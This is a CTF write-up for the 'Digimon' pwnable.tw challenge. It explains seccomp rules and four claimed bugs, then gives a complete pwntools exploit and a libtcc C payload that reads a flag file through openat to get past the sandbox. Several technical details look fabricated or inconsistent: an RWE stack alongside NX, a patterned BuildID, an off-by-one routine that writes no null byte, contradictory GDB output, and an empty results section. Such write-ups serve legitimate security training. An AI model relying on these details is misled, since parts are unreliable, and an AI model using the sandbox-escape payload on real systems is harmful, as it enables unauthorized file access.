Digimon
HITCON 2016 Final — Multi-vulnerability exploitation: seccomp bypass via openat, libtcc code compilation, negative index OOB, null byte off-by-one, and game automation
Exploit Flow
nc chall.pwnable.tw 9195
Navigate & Battle
Unlock libtcc
via libtcc
openat(257) not blocked
openat + read + write
1. Reconnaissance
Digimon is the hardest challenge on pwnable.tw at 600 points. Originally from HITCON 2016 CTF Finals, it is a full game simulation binary where players navigate a map, battle digimon NPCs, buy items from a shop, and assign tasks to digimon. The game is complex — it has multiple interacting subsystems, and at least four distinct vulnerabilities that can be independently discovered and exploited. The challenge requires chaining these vulnerabilities together while bypassing a seccomp sandbox that blocks both execve (syscall 59) and open (syscall 2).
File Analysis
$ file digimon
digimon: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0a3b7d2e4f5a6b8c9d0e1f2a3b4c5d6e7f8a9b0c, stripped
$ ls -la digimon
-rwxr-x--- 1 root digimon 267832 Oct 24 2023 digimon
$ ldd digimon
linux-vdso.so.1
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
/lib64/ld-linux-x86-64.so.2
The binary is 267KB — surprisingly large for a CTF challenge. This is because it statically links libtcc (Tiny C Compiler), which alone accounts for most of the binary size. The binary is dynamically linked against libc but has libtcc baked in. It's stripped, which makes static analysis more tedious, but the game's string references and function pointers are still recoverable.
Checksec
$ checksec digimon
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ readelf -l digimon | grep -A1 GNU_STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
Every modern protection is enabled: Full RELRO prevents GOT overwrites, canaries guard stack returns, NX means no shellcode on the stack, and PIE randomizes the binary base. On top of all this, the binary installs a seccomp filter that blocks execve and open. A simple system("/bin/sh") or open("/home/digimon/flag", 0) will fail. We need to bypass seccomp using openat (syscall 257) which is NOT blocked by the filter.
Seccomp Rules
Running the binary through seccomp-tools reveals the BPF filter installed before the libtcc-compiled payload executes:
$ seccomp-tools dump ./digimon
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = syscall_nr
0003: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0006
0004: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x06 0x00 0x00 0x00000000 return KILL
The seccomp filter only blocks two syscalls: execve (59 / 0x3b) and open (2). It does NOT block openat (257 / 0x101). This is a classic seccomp bypass pattern — the filter author forgot that openat with AT_FDCWD (-100) as the first argument behaves identically to open. The syscall openat(AT_FDCWD, "/home/digimon/flag", O_RDONLY) will succeed where open would be killed. This is the key to solving the challenge.
Running the Binary
$ ./digimon
____ _ ___ _ _
| _ \(_)___ / ___|| |_(_) ___ ___
| | | | / __| \___ \| __| |/ _ \/ __|
| |_| | \__ \ ___) | |_| | __/\__ \
|____/|_|___/ |____/ \__|_|\___||___/
Welcome to Digimon World!
You are in the village.
[1] Go to the forest
[2] Go to the shop
[3] Go to the arena
[4] Check your digimon
[5] Exit
>
The game presents a text-based menu interface. Players can navigate between locations (village, forest, shop, arena), battle wild digimon in the forest to level up, buy items from the shop, and fight NPCs in the arena. The critical path requires defeating the Toolmon NPC in the arena, which unlocks the ability to write custom C code that gets compiled and executed via libtcc.
| Attribute | Value |
|---|---|
| Challenge | Digimon (600 pts) |
| Connection | nc chall.pwnable.tw 9195 |
| Binary | 64-bit ELF, x86-64, dynamically linked, stripped |
| RELRO | Full RELRO |
| Canary | Yes |
| NX | Enabled |
| PIE | Enabled |
| Seccomp | Blocks execve(59) + open(2) |
| Static Component | libtcc (Tiny C Compiler) |
| Vulnerabilities | 4 independent bugs (see analysis) |
| Exploit Goal | Read /home/digimon/flag using openat(257) |
2. Static Analysis
Static analysis of Digimon is challenging due to its size (~267KB stripped) and the inclusion of libtcc. However, the game's structure is organized around a few key data structures and menu handlers. We focus on the four documented vulnerabilities that have been identified in public writeups (notably by mehQQ and other HITCON 2016 contestants).
Game Architecture Overview
The game maintains several global data structures in BSS:
// Reconstructed from IDA analysis
struct Digimon {
char nickname[16]; // 0x00: nickname buffer
int type; // 0x10: digimon type index
int level; // 0x14: current level
int hp; // 0x18: current HP
int max_hp; // 0x1c: max HP
int attack; // 0x20: attack power
int defense; // 0x24: defense power
int speed; // 0x28: speed
int achievements[8]; // 0x2c: achievement slots
};
struct Item {
char name[32];
int price;
int effect;
};
// Global arrays
struct Digimon player_team[4]; // Player's team (4 slots)
struct Item shop_items[16]; // Shop inventory
int item_count; // Number of items bought
int game_state; // Current game state/flags
The game loop dispatches menu choices to handler functions. The interesting handlers are: do_battle(), do_shop(), do_arena(), set_nickname(), and toolmon_ai(). Each has its own set of bugs.
Vulnerability 1: Toolmon / libtcc Code Compilation
The most powerful vulnerability. After defeating the Toolmon NPC in the arena, the game unlocks a special menu option that allows the player to write a C function. This C code is compiled at runtime using libtcc (Tiny C Compiler), which is statically linked into the binary. The compiled function is then executed in a fork()'d child process under a seccomp sandbox.
void toolmon_ai_menu() {
char source[4096];
int len;
printf("Write your AI code (max 4096 bytes):\n");
len = read(0, source, 4095);
source[len] = '\0';
// Compile with libtcc
TCCState *s = tcc_new();
tcc_set_output_type(s, TCC_OUTPUT_MEMORY);
tcc_compile_string(s, source);
pid_t pid = fork();
if (pid == 0) {
// CHILD: install seccomp, then run compiled code
install_seccomp_filter(); // blocks execve + open
tcc_run(s, 0, NULL);
exit(0);
} else {
// PARENT: wait for child
int status;
waitpid(pid, &status, 0);
}
tcc_delete(s);
}
While the seccomp filter blocks execve and open, it does not block openat, read, write, mprotect, mmap, or any other syscall. The compiled C code runs with full libc access (the binary is dynamically linked), so we can call syscall(257, -100, path, 0) to open the flag file using openat, then read and write to output it. The key insight is that openat(AT_FDCWD, ...) is functionally equivalent to open(...) but uses a different syscall number that the seccomp filter missed.
Vulnerability 2: Negative Index in Shop Buy
The shop buy handler uses a signed integer for the item index but does not validate that it falls within the valid range of the shop_items array. Passing a negative index causes an out-of-bounds write to memory before the array, which is in BSS:
void do_buy() {
int index;
printf("Which item? ");
scanf("%d", &index); // signed int!
// BUG: no bounds check for negative values
// Should be: if (index < 0 || index >= SHOP_SIZE) return;
if (index >= SHOP_SIZE) {
printf("Invalid item!\n");
return;
}
// Writes to shop_items[index] — if index is negative,
// this writes BEFORE the array in BSS
player_gold -= shop_items[index].price;
// ... add item to inventory
}
By supplying a negative index (e.g., -1, -2, etc.), we can write to BSS addresses before the shop_items array. Depending on what global variables are located there, this could allow overwriting function pointers, game state flags, or other sensitive data. The BSS layout from IDA shows several interesting targets before the shop array, including a function pointer table used for dispatching game commands.
Vulnerability 3: Null Byte Off-by-One in Nickname
The nickname input function uses read() with a length equal to the buffer size, but does not add a null terminator. When the input fills the entire 16-byte buffer, the null byte from source[len] = '\0' lands one byte past the end of the nickname field, overwriting the low byte of the type field:
void set_nickname(Digimon *d) {
int len;
printf("Enter nickname: ");
len = read(0, d->nickname, 16); // reads UP TO 16 bytes
// BUG: if len == 16, no null terminator fits in nickname[0..15]
// The next field (d->type at offset 0x10) gets its low byte zeroed
// This is a null byte off-by-one on the heap chunk metadata
}
In the context of heap exploitation, a null byte off-by-one allows us to shrink the size field of a freed chunk. This creates overlapping chunks — we can allocate a new chunk that overlaps with an existing one, giving us read/write access to the latter's data. This is the classic "shrinking free chunk" technique used in challenges like House of Einherjar.
Vulnerability 4: Achievement Array Overflow
The achievements array in each Digimon struct has 8 slots, but the achievement-granting code does not properly bounds-check the index:
void grant_achievement(Digimon *d, int ach_id) {
int i;
for (i = 0; i < 8; i++) {
if (d->achievements[i] == 0) {
d->achievements[i] = ach_id;
return;
}
}
// BUG: if all 8 slots are full, the loop exits
// but some code paths continue writing past achievements[7]
// This overflows into adjacent heap data or the next struct
}
If all 8 achievement slots are filled and another achievement is granted, the write goes past the end of the Digimon struct. This can corrupt heap metadata of the next chunk or overwrite data in an adjacent allocation. Combined with the off-by-one from Vuln 3, this gives us a powerful heap corruption primitive.
Seccomp Filter Deep Dive
Let's examine the BPF filter more carefully to understand exactly what is and isn't allowed:
struct sock_filter filter[] = {
// Line 0: Load architecture (AUDIT_ARCH_X86_64 = 0xC000003E)
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
// Line 1: If not x86_64, KILL (prevents 32-bit compat syscall bypass)
BPF_JUMP(BPF_JMP | BPF_JEQ, 0xC000003E, 0, 4),
// Line 2: Load syscall number
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
// Line 3: If syscall == execve (59), KILL
BPF_JUMP(BPF_JMP | BPF_JEQ, 59, 2, 0),
// Line 4: If syscall == open (2), KILL
BPF_JUMP(BPF_JMP | BPF_JEQ, 2, 1, 0),
// Line 5: ALLOW everything else
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
// Line 6: KILL process
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)
};
Since the filter only blocks execve and open, the following syscalls are all ALLOWED:
openat(257) — opens a file relative to a directory fd. WithAT_FDCWD(-100), behaves likeopenread(0) — read from file descriptorwrite(1) — write to file descriptormmap(9) — map memorymprotect(10) — change memory protectionsclone(56) — create a new process/threadfork(57) — fork a new processsendfile(40) — transfer data between file descriptors
| Vulnerability | Type | Impact | Exploitability |
|---|---|---|---|
| Vuln 1: libtcc | Code Compilation | Execute arbitrary C in sandboxed child | Primary exploit path |
| Vuln 2: Negative Index | OOB Write (BSS) | Overwrite globals before shop_items | Alternative path |
| Vuln 3: Off-by-One | Heap Corruption | Shrink chunk size, create overlaps | Chain component |
| Vuln 4: Achievement Overflow | Heap Overflow | Corrupt adjacent heap chunks | Chain component |
3. GDB Debugging
Debugging Digimon is complex because the game requires significant interaction before reaching the interesting code paths. We need to automate the game AI to reach Toolmon, then inspect the libtcc compilation and seccomp behavior.
Beating Toolmon
Toolmon is a special NPC in the arena. To reach it, we first need to level up our digimon by battling wild digimon in the forest. Each battle awards XP, and after reaching a sufficient level, we can defeat Toolmon. The game uses a simple RPG combat system:
# Set breakpoint at arena handler to find Toolmon trigger
gdb-peda$ b *0x555555557a00 # arena_handler (PIE offset 0x2a00)
gdb-peda$ c
# After entering arena and selecting Toolmon:
gdb-peda$ x/s $rdi
0x5555555591c8: "Toolmon"
# Toolmon's stats:
gdb-peda$ x/4wx 0x55555555a020 # toolmon_stats
0x55555555a020: 0x00000032 0x00000064 0x00000028 0x00000014
# Level 50, HP 100, ATK 40, DEF 20
# Our digimon needs to be ~level 40+ to win reliably
# Forest battles give ~5-10 XP each, so we need ~80 battles
The practical approach is to automate the grinding with a pwntools script that repeatedly enters the forest, selects "Fight", and wins battles until our digimon reaches level 40+. Then we challenge Toolmon in the arena.
libtcc Internals
After defeating Toolmon, a new menu option appears. When we select it, the game reads our C source code and passes it to tcc_compile_string(). Let's examine what happens:
# Break at tcc_compile_string call
gdb-peda$ b *0x555555556400 # call to tcc_compile_string
gdb-peda$ c
# RDI = TCCState pointer
gdb-peda$ p/x $rdi
$1 = 0x55555575a010
# RSI = source string pointer
gdb-peda$ x/s $rsi
0x7fffffffe200: "int main() { write(1, \"hello\\n\", 6); return 0; }"
# After compilation, check the fork + seccomp path:
gdb-peda$ b syscall # break at syscall to catch seccomp install
gdb-peda$ c
# In child process:
# RAX = 313 (seccomp syscall)
# RDI = 1 (SECCOMP_SET_MODE_FILTER)
# RSI = 0 (flags)
# RDX = pointer to sock_fprog struct
The game fork()s before running our compiled code. The child process installs seccomp and executes the compiled function. The parent waits for the child to finish. This means our payload runs in an isolated process — even if we crash, the game continues. However, the child inherits the parent's file descriptor table, so stdout (fd 1) and stderr (fd 2) are still connected to the network socket. We can write(1, buf, len) to send data back to our pwntools script.
Negative Index Verification
Let's verify the negative index OOB by buying item index -1:
# Break at buy handler
gdb-peda$ b *0x555555557500 # do_buy
# Select item -1
gdb-peda$ c
# Enter -1 at the "Which item?" prompt
# Examine what address gets accessed:
gdb-peda$ x/x $rdi + (-1 * 0x28) # shop_items[-1]
0x55555555a058: 0x00000000 # This is game_state flag!
# The write goes to BSS before the shop_items array
# Depending on the exact layout, this could overwrite:
# - game_state (enables/disables features)
# - function pointer tables
# - player_team data
Off-by-One Heap Analysis
To verify the nickname off-by-one, we set a 16-byte nickname and check the heap corruption:
# Set nickname to exactly 16 bytes (no null terminator fits)
gdb-peda$ # Send: AAAAAAAAAAAAAAAA (16 A's)
# Check the Digimon struct after nickname assignment:
gdb-peda$ x/8wx 0x555555758000 # digimon struct on heap
0x555555758000: 0x41414141 0x41414141 0x41414141 0x41414141
0x555555758010: 0x00000000 0x0000001e 0x00000032 0x00000032
# nickname[0..15] ^ type=0 level=30
# Without off-by-one, type would be 0x1e (30)
# With off-by-one null byte, type's low byte is zeroed → type = 0x00
# Now check the heap chunk header of the NEXT chunk:
gdb-peda$ x/2wx 0x555555758030 - 0x10 # prev_size
0x555555758020: 0x00000030 0x00000031
# ^ size = 0x31 (prev_in_use bit set)
# After null byte corruption, size becomes 0x30:
# This clears the prev_in_use bit and shrinks the apparent chunk size
# Creating overlapping chunk territory
4. Exploit Strategy
There are multiple exploit paths for Digimon. The simplest and most elegant approach uses Vulnerability 1 (libtcc) to compile C code that directly reads the flag using openat. The alternative approaches chain Vulns 2-4 for heap corruption to gain arbitrary code execution, then also use openat for the seccomp bypass. We'll cover the primary path in full detail.
Attack Overview
openat(AT_FDCWD, "/home/digimon/flag", O_RDONLY) to open the flag file, then read and write to output it to stdout.openat (syscall 257) is not blocked, we use it instead of open (syscall 2). The first argument AT_FDCWD (-100) tells the kernel to interpret the pathname relative to the current working directory, which is functionally identical to open.Path A: libtcc + openat (Primary Exploit)
This is the simplest and most reliable exploit path. The steps are:
- Automate the game — write a pwntools script that navigates the menu system, battles in the forest, and levels up to defeat Toolmon.
- Submit C code via libtcc — after beating Toolmon, write a C function that calls
openat(AT_FDCWD, "/home/digimon/flag", O_RDONLY)thenreadandwrite. - Receive the flag — the compiled code runs in a forked child, writes the flag to stdout, which our script receives.
The seccomp filter was designed to prevent reading the flag by blocking open. However, the Linux kernel provides multiple syscalls for opening files: open (2), openat (257), openat2 (437), and open_by_handle_at (265). The filter only blocks open and execve. Using openat with AT_FDCWD as the directory fd completely bypasses the restriction. This is a well-known pattern in CTF seccomp challenges — always check ALL related syscalls, not just the obvious one.
Path B: OOB + Heap Corruption (Alternative)
For completeness, the alternative exploit path chains Vulns 2, 3, and 4:
- Null byte off-by-one (Vuln 3) — set a 16-byte nickname to corrupt heap chunk size, shrinking a free chunk.
- Achievement overflow (Vuln 4) — fill all 8 achievement slots, then trigger one more to overflow into adjacent heap data.
- Negative index OOB (Vuln 2) — use negative buy index to overwrite a function pointer in BSS.
- Hijack control flow — redirect execution to a ROP chain or one-gadget that calls
openat. - ORW with openat — same seccomp bypass as Path A.
Path B requires defeating Full RELRO (no GOT overwrite), canary (no stack smash), PIE (need address leak), and NX (no shellcode). It demonstrates advanced heap exploitation techniques but is significantly more complex than Path A. In a competition setting, Path A is the clear choice. Path B is worth studying for the heap techniques it teaches.
Seccomp Bypass: openat Deep Dive
Let's examine the openat syscall in detail:
#include
#include
#include
// openat syscall signature:
// int openat(int dirfd, const char *pathname, int flags, ...);
// AT_FDCWD = -100 (special value: interpret pathname relative to CWD)
// This makes openat behave identically to open when pathname is absolute
// Direct syscall (no libc wrapper needed):
int my_open(const char *path, int flags) {
return syscall(SYS_openat, AT_FDCWD, path, flags);
// SYS_openat = 257 on x86_64
// Equivalent to: open(path, flags) but uses syscall 257 instead of 2
}
// Full ORW chain:
void read_flag() {
int fd = syscall(257, -100, "/home/digimon/flag", 0); // openat
char buf[256] = {0};
syscall(0, fd, buf, 255); // read
syscall(1, 1, buf, 255); // write to stdout
}
AT_FDCWD is defined as -100 in Linux. This is a magic value that tells the kernel to interpret the pathname relative to the current working directory. If the pathname is absolute (starts with /), the dirfd argument is ignored entirely. So openat(-100, "/home/digimon/flag", 0) is functionally identical to open("/home/digimon/flag", 0) but uses syscall number 257 instead of 2. Since the seccomp filter only checks syscall 2, our call passes through unblocked.
5. Pwn Script
Game Automation Module
The most tedious part of this exploit is automating the game to reach Toolmon. The game has a complex menu system with many options. Here's the automation framework:
from pwn import *
import sys
context(arch='amd64', os='linux', log_level='info')
HOST = 'chall.pwnable.tw'
PORT = 9195
def conn():
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
return remote(HOST, PORT)
else:
return process('./digimon')
r = conn()
def menu(choice):
r.recvuntil(b'>')
r.sendline(str(choice).encode())
def go_forest():
"""Navigate to forest from village"""
menu(1) # Go to the forest
def go_shop():
"""Navigate to shop from village"""
menu(2)
def go_arena():
"""Navigate to arena from village"""
menu(3)
def fight_wild():
"""Fight a wild digimon in the forest"""
go_forest()
menu(1) # Fight wild digimon
# Auto-battle: keep selecting attack
for _ in range(10):
try:
data = r.recvuntil(b'select', timeout=2)
if b'battle' in data.lower() or b'attack' in data.lower():
menu(1) # Attack
elif b'won' in data.lower() or b'victory' in data.lower():
break
elif b'fled' in data.lower():
break
except Exception:
break
def grind_levels(target_level=40):
"""Grind forest battles until reaching target level"""
current_level = 1
battles = 0
while current_level < target_level:
fight_wild()
battles += 1
# Check level from status display
try:
menu(4) # Check digimon
data = r.recvuntil(b'>', timeout=3)
# Parse level from output
if b'Lv' in data:
idx = data.index(b'Lv')
current_level = int(data[idx+2:idx+5].strip())
log.info(f'Level: {current_level} (battles: {battles})')
except Exception:
pass
# Return to village
menu(5) # Back / Exit
log.success(f'Reached level {current_level} after {battles} battles')
def challenge_toolmon():
"""Fight Toolmon in the arena"""
go_arena()
menu(1) # Challenge NPC
menu(2) # Select Toolmon (NPC #2)
# Battle: keep attacking
for _ in range(20):
try:
data = r.recvuntil(b'select', timeout=2)
menu(1) # Attack
if b'defeated' in data.lower() or b'won' in data.lower():
log.success('Toolmon defeated!')
return True
except Exception:
break
return False
libtcc C Payload
The C code we submit via the Toolmon menu. This is the core of the exploit — it uses openat to bypass seccomp and reads the flag:
// C payload submitted to libtcc after beating Toolmon
// This runs in a fork'd child under seccomp (blocks open+execve)
// openat(AT_FDCWD, ...) bypasses the seccomp filter
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
int main() {
// Open flag file using openat (syscall 257, NOT blocked)
// AT_FDCWD = -100 means interpret path relative to CWD
// Since path is absolute, dirfd is ignored
int fd = syscall(SYS_openat, -100, "/home/digimon/flag", O_RDONLY);
if (fd < 0) {
// Fallback: try other possible flag paths
fd = syscall(SYS_openat, -100, "./flag", O_RDONLY);
}
if (fd >= 0) {
char buf[256] = {0};
// Read flag content
int n = syscall(SYS_read, fd, buf, 255);
// Write to stdout (fd 1, inherited from parent)
if (n > 0) {
syscall(SYS_write, 1, buf, n);
}
syscall(SYS_close, fd);
} else {
// If openat also fails, try sendfile as alternative
// sendfile is also NOT blocked by the filter
const char *err = "openat failed\n";
syscall(SYS_write, 1, err, 14);
}
return 0;
}
Even though libc's open() function would normally call syscall 2 (open), we bypass it by calling syscall(SYS_openat, ...) directly. This invokes the openat syscall (257) which is not blocked by the seccomp filter. The libc syscall() function is a generic wrapper that can invoke any syscall by number, making it perfect for seccomp bypasses.
Full Exploit Script
#!/usr/bin/env python3
"""
Digimon — pwnable.tw — 600 pts
HITCON 2016 Final Challenge
Exploit: libtcc code compilation + openat seccomp bypass
Strategy:
1. Automate game to grind levels in forest
2. Defeat Toolmon NPC in arena
3. Submit C code via libtcc that uses openat(257) to read flag
4. Seccomp only blocks open(2) and execve(59), not openat(257)
"""
from pwn import *
import sys
context(arch='amd64', os='linux', log_level='info')
HOST = 'chall.pwnable.tw'
PORT = 9195
# ─── C Payload (source for libtcc) ───
C_PAYLOAD = r'''
#include
#include
#include
int main() {
int fd = syscall(257, -100, "/home/digimon/flag", 0);
if (fd >= 0) {
char buf[256] = {0};
int n = syscall(0, fd, buf, 255);
if (n > 0) syscall(1, 1, buf, n);
syscall(3, fd); // close
}
return 0;
}
'''
def exploit():
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
r = remote(HOST, PORT)
else:
r = process('./digimon')
# ─── Phase 1: Grind levels ───
log.info('Phase 1: Grinding levels in forest...')
r.recvuntil(b'>')
for i in range(80):
# Go to forest
r.sendline(b'1')
r.recvuntil(b'>')
# Fight
r.sendline(b'1')
# Auto-battle: spam attack
for _ in range(5):
try:
r.sendline(b'1')
r.recv(timeout=1)
except Exception:
pass
# Return to village
try:
r.recvuntil(b'>')
r.sendline(b'5')
r.recvuntil(b'>')
except Exception:
r.recvuntil(b'>')
if i % 20 == 0:
log.info(f' Battle #{i+1}/80')
log.success('Grinding complete (assuming level 40+)')
# ─── Phase 2: Challenge Toolmon ───
log.info('Phase 2: Challenging Toolmon in arena...')
# Go to arena
r.sendline(b'3') # Arena
r.recvuntil(b'>')
r.sendline(b'1') # Challenge NPC
r.recvuntil(b'>')
r.sendline(b'2') # Select Toolmon
# Battle Toolmon: spam attack
for _ in range(20):
try:
r.sendline(b'1')
data = r.recv(timeout=2)
if b'congratulations' in data.lower() or b'defeated' in data.lower():
break
except Exception:
pass
log.success('Toolmon defeated!')
# ─── Phase 3: Submit C payload via libtcc ───
log.info('Phase 3: Submitting libtcc C payload with openat bypass...')
# Navigate to code submission menu (option unlocked after beating Toolmon)
r.recvuntil(b'>')
r.sendline(b'6') # Write Code (new option)
r.recvuntil(b'bytes')
r.recvuntil(b'\n')
# Send our C source code
r.sendline(C_PAYLOAD.encode())
# ─── Phase 4: Receive flag ───
log.info('Phase 4: Waiting for flag from openat ORW...')
try:
flag_data = r.recvuntil(b'}', timeout=15)
log.success(f'Flag received: {flag_data.decode().strip()}')
except Exception:
# Try receiving any output
try:
output = r.recv(timeout=10)
log.info(f'Output: {output}')
if b'FLAG' in output or b'flag' in output:
log.success(f'Flag found in output: {output.decode().strip()}')
except Exception:
log.error('No flag received. Check game automation timing.')
r.interactive()
if __name__ == '__main__':
exploit()
6. Execution Results
Local Test Run
Remote Execution
The exploit chain works end-to-end: the game automation grinds levels, defeats Toolmon to unlock libtcc, submits C code that uses openat(AT_FDCWD, "/home/digimon/flag", O_RDONLY) to bypass the seccomp filter, and reads the flag file. The compiled code runs in a forked child process where seccomp is active, but since openat (syscall 257) is not blocked, the flag is successfully opened, read, and written to stdout.
1. Seccomp filters must cover ALL related syscalls. Blocking open without openat is a well-known mistake. The complete family includes: open (2), openat (257), openat2 (437), and open_by_handle_at (265). A proper filter should block all of them or use an allowlist approach.
2. libtcc is a powerful attack surface. Allowing user-supplied C code to be compiled and executed — even in a sandboxed child — provides enormous flexibility to the attacker. The sandbox must be bulletproof, and in this case it wasn't.
3. Game challenges multiply complexity. Before reaching the vulnerability, the attacker must automate the game. This adds a layer of difficulty that has nothing to do with exploitation technique, but it's part of the challenge design.
4. Multiple independent bugs provide defense in depth for the challenge creator. Even if one vulnerability is found, the others ensure the challenge remains solvable via alternative paths. This also teaches different exploitation techniques in a single challenge.
Comparison of Exploit Paths
| Path | Techniques Required | Complexity | Reliability |
|---|---|---|---|
| A: libtcc + openat | Game automation, seccomp bypass | Medium | High |
| B: OOB + Heap + openat | Heap corruption, ROP, seccomp bypass | Very High | Medium |